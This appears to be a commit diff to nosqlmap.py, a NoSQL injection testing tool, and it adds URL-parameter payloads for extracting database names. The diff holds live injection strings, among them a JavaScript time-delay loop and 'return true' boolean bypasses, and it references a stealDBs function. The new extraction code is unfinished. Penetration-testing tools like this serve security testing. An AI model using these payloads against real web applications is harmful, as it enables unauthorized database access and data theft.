More work on DB access via web app

Author: tcstool

nosqlmap.py

@@ -703,7 +703,8 @@ def webDBAttacks(trueLen):
 
 	if getDBName == "y" or getDBName == "Y":
 		while injTestLen != trueLen:
-			tempUri = 
+			testUri = uriArray[16].split("---")
+			
 
 
 def randInjString(size):
@@ -742,7 +743,7 @@ def buildUri(origUri, randValue):
 	paramName = []
 	paramValue = []
 	global uriArray
-	uriArray = ["","","","","","","","","","","","","","","",""]
+	uriArray = ["","","","","","","","","","","","","","","","",""]
 	injOpt = ""
 
 	#Split the string between the path and parameters, and then split each parameter
@@ -791,6 +792,10 @@ def buildUri(origUri, randValue):
 	uriArray[11] = split_uri[0] + "?"
 	uriArray[12] = split_uri[0] + "?"
 	uriArray[13] = split_uri[0] + "?"
+	uriArray[14] = split_uri[0] + "?"
+	uriArray[15] = split_uri[0] + "?"
+	uriArray[16] = split_uri[0] + "?"
+	uriArray[17] = split_uri[0] + "?"
 
 	for item in paramName:		
 		if paramName[x] == injOpt:
@@ -810,6 +815,9 @@ def buildUri(origUri, randValue):
 			uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
 			uriArray[14] += paramName[x] + "a'; return true; var dum=a'"
 			uriArray[15] += paramName[x] + "1; return true; var dum=2"
+			#Add values that can be manipulated for database attacks
+			uriArray[16] += paramName[x] + "=a'; if ---"
+			uriArray[17] += paramName[x] + "=1; if ---"
 
 		else:
 			uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
@@ -828,6 +836,8 @@ def buildUri(origUri, randValue):
 			uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
 			uriArray[14] += paramName[x] + "=" + paramValue[x] + "&"
 			uriArray[15] += paramName[x] + "=" + paramValue[x] + "&"
+			uriArray[16] += paramName[x] + "=" + paramValue[x] + "&"
+			uriArray[17] += paramName[x] + "=" + paramValue[x] + "&"
 		x += 1
 
 	#Clip the extra & off the end of the URL
@@ -847,6 +857,8 @@ def buildUri(origUri, randValue):
 	uriArray[13] = uriArray[13][:-1]
 	uriArray[14] = uriArray[14][:-1]
 	uriArray[15] = uriArray[15][:-1]
+	uriArray[16] = uriArray[16][:-1]
+	uriArray[17] = uriArray[17][:-1]
 	return uriArray[0]
 
 def stealDBs(myDB):